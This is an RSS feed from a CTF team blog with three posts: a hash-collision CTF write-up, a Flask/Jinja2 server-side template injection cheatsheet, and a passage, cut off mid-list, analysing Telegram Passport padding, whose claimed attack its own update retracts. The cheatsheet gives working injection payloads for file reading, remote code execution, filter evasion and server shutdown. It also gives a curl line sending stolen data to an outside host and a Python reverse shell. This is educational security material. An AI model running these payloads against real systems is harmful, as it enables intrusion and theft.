<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>P=NP CTF Team</title>
    <description>Team Page</description>
    <link>https://PequalsNP-team.github.io/</link>
    <atom:link href="https://PequalsNP-team.github.io/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>RITSEC CTF 2018 - CictroHash</title>
        <description>&lt;p&gt;Crypto - 150 Points&lt;/p&gt;

&lt;p&gt;See the &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/RITSEC2018/CictroHash.pdf&quot;&gt;attached PDF&lt;/a&gt; for an amazing new Cryptographic Hash Function called CictroHash.&lt;br /&gt;
For this challenge you must implement the described Hash Function and then find a collision of two strings.&lt;br /&gt;
Once a collision is found send both strings to fun.ritsec.club:8003 as a HTTP POST request like below:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -X POST http://fun.ritsec.club:8003/checkCollision \
--header &quot;Content-Type: application/json&quot; \
--data '{&quot;str1&quot;: &quot;&quot;, &quot;str2&quot;: &quot;&quot;}'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If the strings are a valid collision then the flag will be returned.&lt;/p&gt;

&lt;p&gt;NOTE: requests to this server are being rate-limited for obvious reasons.&lt;/p&gt;

&lt;p&gt;Author: Cictrone&lt;/p&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;This crypto challenge was really original and very interesting.&lt;/p&gt;

&lt;p&gt;We started writing the implementation for the CictroHash sponge function, after some ranting for the incomplete specification and the incorrect text vector.&lt;br /&gt;
Then we based our output on the hashes returned by the server.&lt;/p&gt;

&lt;p&gt;Once our implementation was exact, we noticed that the permutation function only acted on some bits and didn’t provide enough &lt;a href=&quot;https://en.wikipedia.org/wiki/Confusion_and_diffusion&quot;&gt;diffusion&lt;/a&gt; so the &lt;a href=&quot;https://en.wikipedia.org/wiki/Avalanche_effect&quot;&gt;avalanche effect&lt;/a&gt; was minimum in some cases.&lt;/p&gt;

&lt;p&gt;For example you can see how “HELLOWORLD” and “HELLOWORLD0” only differs by 2 bit in the 3rd byte&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; CictroHash.hash(&quot;HELLOWORLD&quot;)
&quot;91f1c05e&quot;
&amp;gt;&amp;gt;&amp;gt; CictroHash.hash(&quot;HELLOWORLD0&quot;)
&quot;91f1005e&quot;
&amp;gt;&amp;gt;&amp;gt;
&amp;gt;&amp;gt;&amp;gt; '{:08b}'.format(0x00)
'00000000'
&amp;gt;&amp;gt;&amp;gt; '{:08b}'.format(0xc0)
'11000000'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we tried to bitflip one bit at a time the pre-image searching for a collision and finally we found one:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;91f1405e - HENLOWORLD - HELLOWGRLD
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here it is our implementation &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/RITSEC2018/cictrohash.py&quot;&gt;CictroHash.py&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 21 Nov 2018 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/CictroHash</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/CictroHash</guid>
      </item>
    
      <item>
        <title>Cheatsheet - Flask &amp; Jinja2 SSTI</title>
        <description>&lt;h2 id=&quot;flask--jinja2-ssti&quot;&gt;Flask &amp;amp; Jinja2 SSTI&lt;/h2&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;While SSTI in Flask are nothing new, we recently stumbled upon several articles covering the subject in more or less detail because of a challenge in the recent TokyoWesterns CTF. This cheatsheet will introduce the basics of SSTI, along with some evasion techniques we gathered along the way from talks, blog posts, hackerone reports and direct experience.&lt;/p&gt;

&lt;h3 id=&quot;rtfm&quot;&gt;RTFM&lt;/h3&gt;
&lt;p&gt;As everything in this field, explore the docs of &lt;a href=&quot;http://jinja.pocoo.org/docs/2.10/&quot;&gt;Jinja&lt;/a&gt;, &lt;a href=&quot;http://flask.pocoo.org/docs/1.0/api/&quot;&gt;Flask&lt;/a&gt; &amp;amp; Python and learn them by heart. Assuming this, I’m not going to explore in detail how does Flask/Jinja work, neither python internals.&lt;/p&gt;

&lt;h3 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h3&gt;
&lt;p&gt;You can try to probe &lt;code class=&quot;highlighter-rouge&quot;&gt;{{7*'7'}}&lt;/code&gt; to see if the target is vulnerable. It would result in &lt;code class=&quot;highlighter-rouge&quot;&gt;49&lt;/code&gt; in Twig, &lt;code class=&quot;highlighter-rouge&quot;&gt;7777777&lt;/code&gt; in Jinja2, and neither if no template language is in use. This step is sometimes as trivial as submitting invalid syntax, as template engines may identify themselves in the resulting error messages. Note that there are other methods to identify more template engines. &lt;a href=&quot;https://github.com/epinna/tplmap/&quot;&gt;Tplmap&lt;/a&gt; or its &lt;a href=&quot;https://github.com/epinna/tplmap/blob/master/burp_extension/README.md&quot;&gt;Burp Suite Plugin&lt;/a&gt; will do the trick. This guide will specifically focus on Jinja2.&lt;/p&gt;

&lt;h3 id=&quot;basics&quot;&gt;Basics&lt;/h3&gt;
&lt;p&gt;In python &lt;code class=&quot;highlighter-rouge&quot;&gt;__mro__&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;mro()&lt;/code&gt; allows us to go back up the tree of inherited objects in the current Python environment, and &lt;code class=&quot;highlighter-rouge&quot;&gt;__subclasses__&lt;/code&gt; lets us come back down. Read the &lt;a href=&quot;https://docs.python.org/3/library/stdtypes.html?highlight=subclasses#class.__mro__&quot;&gt;docs&lt;/a&gt; for more.
Basically, you can crawl up the inheritance tree of the known objects using &lt;code class=&quot;highlighter-rouge&quot;&gt;mro&lt;/code&gt;, thus accessing &lt;em&gt;every class loaded&lt;/em&gt; in the current python environment (!).&lt;/p&gt;

&lt;p&gt;The usual exploitation starts with the following: from a simple empty string &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;&quot;&lt;/code&gt; you will create a new-type object, type &lt;code class=&quot;highlighter-rouge&quot;&gt;str&lt;/code&gt;. From there you can crawl up to the root object class using &lt;code class=&quot;highlighter-rouge&quot;&gt;__mro__&lt;/code&gt;, then crawl back down to every new-style object in the Python environment using &lt;code class=&quot;highlighter-rouge&quot;&gt;__subclasses__&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/mro_subclass.png&quot; alt=&quot;__mro__ and __subclass__ example&quot; class=&quot;center-image half-image&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;sinks&quot;&gt;Sinks&lt;/h3&gt;
&lt;p&gt;If you happen to have the source code of the application, look for the &lt;code class=&quot;highlighter-rouge&quot;&gt;flask.render_template_string(source, **context)&lt;/code&gt; function. It is a common sink for SSTI in Jinja (&lt;a href=&quot;http://flask.pocoo.org/docs/1.0/api/#template-rendering&quot;&gt;docs&lt;/a&gt;).&lt;/p&gt;

&lt;h3 id=&quot;context-and-global-variables&quot;&gt;Context and Global Variables&lt;/h3&gt;
&lt;p&gt;There are several sources from which objects end up in the template context. Remember that there may be sensitive vars explicitly added by the developer, making the SSTI easier. You can use &lt;a href=&quot;https://raw.githubusercontent.com/albinowax/SecLists/9309803f3f7d5c1e0b2f26721c1ea7ef36eeb1c8/Discovery/Web_Content/burp-parameter-names&quot;&gt;this list&lt;/a&gt; by @albinowax to fuzz common variable names with Burp or Zap.
The following global variables are available within Jinja2 templates by default:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;config&lt;/code&gt;, the current configuration object&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;request&lt;/code&gt;, the current request object&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;session&lt;/code&gt;, the current session object&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;g&lt;/code&gt;, the request-bound object for global variables. This is usually used by the developer to store resources during a request.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to explore in major details their globals, here are the links to the API docs: &lt;a href=&quot;http://flask.pocoo.org/docs/1.0/templating/#standard-context&quot;&gt;Flask&lt;/a&gt; and &lt;a href=&quot;http://jinja.pocoo.org/docs/dev/templates/#builtin-globals&quot;&gt;Jinja&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;introspection&quot;&gt;Introspection&lt;/h3&gt;
&lt;p&gt;You may conduct introspection with the &lt;code class=&quot;highlighter-rouge&quot;&gt;locals&lt;/code&gt; object using &lt;code class=&quot;highlighter-rouge&quot;&gt;dir&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;help&lt;/code&gt; to see everything that is available to the template context. You can also use introspection to reach every other application variable.  This &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py&quot;&gt;script&lt;/a&gt; written by the &lt;a href=&quot;https://ctftime.org/writeup/10851&quot;&gt;DoubleSigma&lt;/a&gt; team will traverse over child attributes of request recursively. 
For example, if you need to reach the blacklisted &lt;code class=&quot;highlighter-rouge&quot;&gt;config&lt;/code&gt; var you may access it anyway via:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;dos&quot;&gt;DoS&lt;/h3&gt;
&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;request.environ&lt;/code&gt; object is a dictionary of objects related to the server environment. One such item in the dictionary is a method named &lt;code class=&quot;highlighter-rouge&quot;&gt;shutdown_server&lt;/code&gt; assigned to the key &lt;code class=&quot;highlighter-rouge&quot;&gt;werkzeug.server.shutdown&lt;/code&gt;. Injecting &lt;code class=&quot;highlighter-rouge&quot;&gt;''&lt;/code&gt; should be enough to shut down the server.&lt;/p&gt;

&lt;h3 id=&quot;extract-classes-from-the-application&quot;&gt;Extract classes from the application&lt;/h3&gt;
&lt;p&gt;Get all classes:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{{ [].class.base.subclasses() }}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{{''.class.mro()[1].subclasses()}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;arbitrary-file-read&quot;&gt;Arbitrary file read&lt;/h3&gt;
&lt;p&gt;In our context we can’t use &lt;code class=&quot;highlighter-rouge&quot;&gt;''.__class__&lt;/code&gt; as it is outside of the sandbox. So we need an object which has a class inherited from object. We can then leverage the &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;type 'file'&amp;gt;&lt;/code&gt; class to read arbitrary file. While &lt;code class=&quot;highlighter-rouge&quot;&gt;open&lt;/code&gt; is the built-in function for creating file objects, the file class is also capable of instantiating file objects, and if we can instantiate a file object then we can use methods like &lt;code class=&quot;highlighter-rouge&quot;&gt;read&lt;/code&gt; to extract the contents.
This injection will do the trick:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40](\&quot;/tmp/flag\&quot;).read() }}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mind that index numbers may vary (i.e. [4],[40]) according to the environment.&lt;/p&gt;

&lt;h3 id=&quot;remote-code-execution&quot;&gt;Remote code execution&lt;/h3&gt;
&lt;h4 id=&quot;first-method&quot;&gt;First method&lt;/h4&gt;
&lt;p&gt;By using the &lt;code class=&quot;highlighter-rouge&quot;&gt;subprocess&lt;/code&gt; class you may issue arbitrary commands. This may be version-dependent:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{{config.items()[4][1].__class__.__mro__[2].__subclasses__()[229]([\&quot;touch /tmp/test\&quot;], shell=True) }}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;second-method&quot;&gt;Second Method&lt;/h4&gt;
&lt;p&gt;Luckily, the config object comes with a function &lt;code class=&quot;highlighter-rouge&quot;&gt;from_pyfile()&lt;/code&gt; which reads, compiles and then executes a python file. We now write arbitrary payloads by passing &lt;code class=&quot;highlighter-rouge&quot;&gt;request.headers['X-Payload']&lt;/code&gt; to the &lt;code class=&quot;highlighter-rouge&quot;&gt;write&lt;/code&gt; function and sending the &lt;code class=&quot;highlighter-rouge&quot;&gt;X-Payload&lt;/code&gt; header:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwn.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwn.py').read()}}-{{config.from_pyfile('/tmp/pwn.py')}} HTTP/1.1
Host: chal.ctf.net
[...]
X-Payload: import os;a=os.system(&quot;curl http://chal:8080/flag &amp;gt; /tmp/pwn.log&quot;);os.system(&quot;curl http://pequalsnp-team.github.io:8081/{}&quot;.format(open(&quot;/tmp/pwn.log&quot;).read().encode(&quot;hex&quot;)))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You could alternatively use the reverse shell payload from the &lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;pentest monkey’s cheat sheet&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;X-Payload: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;127.0.0.1&quot;,8099));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;filters-bypass&quot;&gt;Filters bypass&lt;/h3&gt;
&lt;p&gt;Generally, if there is a blacklist you can use &lt;code class=&quot;highlighter-rouge&quot;&gt;request.args.param&lt;/code&gt; to retrieve the value of a new param passed with the querystring. Likewise, you may trim parts of the URL using &lt;code class=&quot;highlighter-rouge&quot;&gt;request.url[n:]&lt;/code&gt; (e.g.  &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;a=config&lt;/code&gt; ).
I’ll report some examples below:&lt;/p&gt;
&lt;h4 id=&quot;bypass-the-filtering-on-__&quot;&gt;Bypass the filtering on &lt;code class=&quot;highlighter-rouge&quot;&gt;__&lt;/code&gt;:&lt;/h4&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost:5000/?exploit={{request[request.args.param]}}&amp;amp;param=__class__
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;bypass-the-filtering-on--or-&quot;&gt;Bypass the filtering on &lt;code class=&quot;highlighter-rouge&quot;&gt;.&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;[]&lt;/code&gt;:&lt;/h4&gt;
&lt;p&gt;Using &lt;a href=&quot;http://jinja.pocoo.org/docs/2.10/templates/#list-of-builtin-filters&quot;&gt;Jinja2 filters&lt;/a&gt; like &lt;code class=&quot;highlighter-rouge&quot;&gt;|attr()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost:5000/?exploit={{request|attr(request.args.param)}}&amp;amp;param=__class__
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remember that you can always use the &lt;code class=&quot;highlighter-rouge&quot;&gt;__getitem__&lt;/code&gt; to achieve the same, getting an item by key or index.&lt;/p&gt;

&lt;h4 id=&quot;generic-blacklist-evasion&quot;&gt;Generic blacklist evasion&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Using the &lt;code class=&quot;highlighter-rouge&quot;&gt;|join&lt;/code&gt; filter will concatenate a list of strings. Also, multiplication of a string with a number ‘n’ duplicates it ‘n’ times. You may use both tricks to get bypass.&lt;/li&gt;
  &lt;li&gt;You can also use the &lt;code class=&quot;highlighter-rouge&quot;&gt;.getlist()&lt;/code&gt; function to simplify the building of the injection. The function returns a list of all parameters with a given name. In our case we define the name using the l parameter and the content of the list with several a parameters.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&amp;amp;l=a&amp;amp;a=_&amp;amp;a=_&amp;amp;a=class&amp;amp;a=_&amp;amp;a=_
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;There is another method to concatenate strings and with the &lt;code class=&quot;highlighter-rouge&quot;&gt;|format&lt;/code&gt; filter. With the same query-string parameters &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;a=_&lt;/code&gt; we can form a format string that will result in &lt;code class=&quot;highlighter-rouge&quot;&gt;__class__&lt;/code&gt;: &lt;code class=&quot;highlighter-rouge&quot;&gt;%s%sclass%s%s&lt;/code&gt;. The &lt;code class=&quot;highlighter-rouge&quot;&gt;%s&lt;/code&gt; identifiers will be replaced with the passed string:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&amp;amp;f=%s%sclass%s%s&amp;amp;a=_
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;You may also use request.cookies, request.headers, request.environ, request.values to store blacklisted injection values.&lt;/li&gt;
  &lt;li&gt;For string concatenation, have a look-see at the &lt;code class=&quot;highlighter-rouge&quot;&gt;~&lt;/code&gt; operator. &lt;code class=&quot;highlighter-rouge&quot;&gt;Hello &lt;/code&gt; would return (assuming &lt;em&gt;name&lt;/em&gt; is set to &lt;code class=&quot;highlighter-rouge&quot;&gt;'John'&lt;/code&gt;): &lt;code class=&quot;highlighter-rouge&quot;&gt;Hello John!&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;tools&quot;&gt;Tools&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Tplmap is a tool by &lt;a href=&quot;https://github.com/epinna&quot;&gt;@epinna&lt;/a&gt;, which assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system. It can exploit several code context and blind injection scenarios. It also supports &lt;code class=&quot;highlighter-rouge&quot;&gt;eval()&lt;/code&gt;-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines. &lt;a href=&quot;https://github.com/epinna/tplmap&quot;&gt;Github&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;search.py is a script written by &lt;a href=&quot;https://ctftime.org/writeup/10851&quot;&gt;DoubleSigma&lt;/a&gt;. It traverse over child attributes of request recursively. &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py&quot;&gt;Link&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;useful-links&quot;&gt;Useful links&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Shrine challenge, TokyoWesterns CTF 2018 &lt;a href=&quot;https://ctftime.org/writeup/10851&quot;&gt;Link&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Exploring SSTI in Flask/Jinja2 &lt;a href=&quot;https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html&quot;&gt;Part 1&lt;/a&gt; / &lt;a href=&quot;https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html&quot;&gt;Part 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Server-Side Template Injection: RCE for the modern webapp, J. Kettle &lt;a href=&quot;https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf&quot;&gt;PDF Link&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Jinja2 template injection filter bypasses, S. Neef &lt;a href=&quot;https://0day.work/jinja2-template-injection-filter-bypasses/&quot;&gt;Link&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 03 Sep 2018 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/cheatsheet/flask-jinja2-ssti</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/cheatsheet/flask-jinja2-ssti</guid>
      </item>
    
      <item>
        <title>Padding Oracle attack against Telegram Passport</title>
        <description>&lt;p&gt;Since the Telegram Passport came out, I tried to analyze its protocol to understand whether the encryption of users’ data was strong and properly implemented.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;UPDATE: It seems that the Telegram Passport specification is written “superficially” and I assumed the data was right-padded.&lt;br /&gt;
It’s left-padded instead, so the content of this post is based on a wrong interpretation of them.&lt;br /&gt;
This attack doesn’t apply to Telegram Passport.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The specification describes a centralized encrypted storage where “users can upload their documents once, then instantly share their data with services that require real-world ID (finance, ICOs, etc.)”. If you want to read the full specification you can check &lt;a href=&quot;https://core.telegram.org/passport&quot;&gt;Telegram’s documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This blog post will focus on the custom padding, designed by Telegram, used together with AES-CBC, and how it can be abused. This flow is used when the Telegram client shares the user document with the third-party service.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;This post will not describe a direct vulnerability against Telegram services.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;telegram-passport-workflow&quot;&gt;Telegram Passport workflow&lt;/h2&gt;

&lt;p&gt;The specification involves 3 entities:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;the end users&lt;/li&gt;
  &lt;li&gt;the Telegram Passport server, where the users’ documents are stored&lt;/li&gt;
  &lt;li&gt;the third-party service (e.g. a Telegram bot), that will receive the documents&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As mentioned, I focused my attention on item number 3, and on the decryption mechanism that third-party services need to implement in order to be able to retrieve users’ data from Telegram.
The part of specification that defines this interaction is below:&lt;/p&gt;

&lt;pre&gt;
&lt;h4&gt;Decrypting data&lt;/h4&gt;
&lt;p&gt;To decrypt the received data, first, decrypt the credentials contained in &lt;a href=&quot;https://core.telegram.org/bots/api#encryptedcredentials&quot;&gt;EncryptedCredentials&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Decrypt the credentials secret ( &lt;em&gt;secret&lt;/em&gt; field in &lt;a href=&quot;https://core.telegram.org/bots/api#encryptedcredentials&quot;&gt;EncryptedCredentials&lt;/a&gt;) using your &lt;strong&gt;private&lt;/strong&gt; key (set OAEP padding option, e.g. &lt;code&gt;OPENSSL_PKCS1_OAEP_PADDING&lt;/code&gt; in PHP)&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use this secret and the credentials hash ( &lt;em&gt;hash&lt;/em&gt; field in &lt;a href=&quot;https://core.telegram.org/bots/api#encryptedcredentials&quot;&gt;EncryptedCredentials&lt;/a&gt;) to calculate &lt;em&gt;credentials_key&lt;/em&gt; and &lt;em&gt;credentials_iv&lt;/em&gt; as described below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; credentials_secret_hash = SHA512( credentials_secret + credentials_hash )
 credentials_key = slice( credentials_secret_hash, 0, 32 )
 credentials_iv = slice( credentials_secret_hash, 32, 16 )&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Decrypt the credentials data ( &lt;em&gt;data&lt;/em&gt; field in &lt;a href=&quot;https://core.telegram.org/bots/api#encryptedcredentials&quot;&gt;EncryptedCredentials&lt;/a&gt;) by AES256-CBC using these &lt;em&gt;credentials_key&lt;/em&gt; and &lt;em&gt;credentials_iv&lt;/em&gt;. &lt;strong&gt;IMPORTANT:&lt;/strong&gt; At this step, make sure that the credentials hash is equal to &lt;code&gt;SHA256( credentials_data )&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Credentials data is padded with 32 to 255 random padding bytes to make its length divisible by 16 bytes. The first byte contains the length of this padding (including this byte). Remove the padding to get the data.&lt;/li&gt;
&lt;/ol&gt;
&lt;/pre&gt;

&lt;p&gt;The user document, called “credentials data” in the spec, is encrypted with AES256-CBC. This mode of operation is malleable in a way that, during decryption, a one-bit change to the ciphertext causes complete corruption of the corresponding block of plaintext, but it &lt;strong&gt;inverts the corresponding bit in the following block of plaintext while the rest of the blocks remain intact&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This property makes CBC-mode implementation vulnerable to &lt;strong&gt;padding oracle attacks&lt;/strong&gt;.
More specifically, knowing whether or not a given ciphertext produces plaintext with valid padding is ALL that an attacker needs to break a CBC encryption.
If you can feed in ciphertexts and somehow find out whether or not they decrypt to something with valid padding or not, then you can decrypt ANY given ciphertext.&lt;/p&gt;

&lt;p&gt;If you want to learn more about padding oracle attacks, &lt;a href=&quot;https://robertheaton.com/2013/07/29/padding-oracle-attack/&quot;&gt;read this awesome article&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Personally I was really interested and surprised by Telegram’s choice for the padding. It’s not a standard padding like PKCS#5 or PKCS#7 but instead it was a custom padding: the original data is padded with an arbitrary number of random bytes, between 32 and 255, to make the payload’s size a multiple of 16 (the AES block size); the first byte of the padding contains the number of bytes that have been used for padding, including itself.&lt;/p&gt;

&lt;h2 id=&quot;the-scenario&quot;&gt;The Scenario&lt;/h2&gt;

&lt;p&gt;The specification is not really clear but from the clients’ source code we can see what is going on.
A Python representation of how the padding works is below:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;def pad(s):
    len_s = len(s)
    bytes_to_add = 32 + random.randrange(0, 255 - 32 - BLOCK_SIZE)
    bytes_to_add += BLOCK_SIZE - (bytes_to_add + len_s) % BLOCK_SIZE
    return s + chr(bytes_to_add) + os.urandom(bytes_to_add - 1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We don’t care much about how many padding bytes there are. 
The thing that is precious is the “magic byte” that contains the lenght of the padding.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;EncryptedCredential&lt;/strong&gt; is an encrypted JSON object that contains 3 field: &lt;code class=&quot;highlighter-rouge&quot;&gt;data&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;hash&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;secret&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;data&lt;/code&gt; contains a base64-encoded encrypted JSON-serialized data&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hash&lt;/code&gt; contains a base64-encoded data hash for data authentication&lt;/li&gt;
